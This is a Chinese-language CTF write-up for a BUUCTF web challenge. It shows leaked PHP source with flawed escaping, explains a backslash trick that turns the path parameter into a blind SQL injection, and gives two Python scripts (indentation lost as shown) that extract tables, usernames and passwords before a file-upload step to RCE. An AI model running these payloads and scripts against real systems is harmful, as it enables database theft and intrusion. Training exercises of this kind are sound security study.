访问robots.txt,显示某个文件有备份
另外,通过抓包发现image.php后面跟了一个id参数,其中1,2,3有不同的图片回显,可能是sql注入
访问image.php.bak,拿到image.php的源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
自己试了半天,这里转义函数和替换连用有业务逻辑漏洞,比如我输入\0,按照它本来的设计应该是想把这个\0替换为空,但是\0会先被转义函数转义为\\0,这样再进行替换的时候就会剩下\,不知道怎么利用,看了下wp,才发现很巧妙,这里id被过滤完后剩下的转义符\,刚好可以转义原来的sql语句中id的后一个单引号
select * from images where id='{$id}' or path='{$path}'
id中剩下\,sql语句就变成:
select * from images where id='\' or path='{$path}'
有没有发现,id被实际查询的值是’ or path=
那么我们就可以利用可控的path进行注入
布尔盲注
1
0
根据这个写脚本
import requests
url='http://046040fc-05cb-4624-9511-df163af7b9d3.node4.buuoj.cn:81/image.php'
flag=''
for i in range(30):
for j in range(127):
payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),1,0)# ".format(i,j)
params={
'id':'\\0',
'path':payload
}
res=requests.get(url,params=params).text
if 'JFIF' in res:
flag+=chr(j)
print(flag)
print(flag)
这个脚本实在是太垃圾了,我就尝试写了一下二分法脚本,竟然搞出来了,我感到很开心
import requests
url='http://a272649d-5fc6-4807-bb6d-599b8254cfbe.node4.buuoj.cn:81/image.php'
flag=''
min=0
max=127
mid=int((min+max)/2)
for i in range(25):
while mid>min:
# payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)# ".format(i,mid)
# payload=" or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{}),1,0)# ".format(i,mid)
# payload=" or if((ascii(substr((select group_concat(username) from users),{},1))>{}),1,0)# ".format(i,mid)
payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
params={
'id':'\\0',
'path':payload
}
res=requests.get(url,params=params).text
if 'JFIF' in res:
min=mid
mid=int((min+max)/2)
else:
max=mid
mid=int((min+max)/2)
flag+=chr(mid+1)
print(flag)
min=0
max=127
mid=int((min+max)/2)
print(flag)
最终查出来用户名和密码
admin
e8599892fc9e1ad8d538
我们登陆,有文件上传功能
随便上传个东西看看
它记录了上传的文件名,那好说
成功rce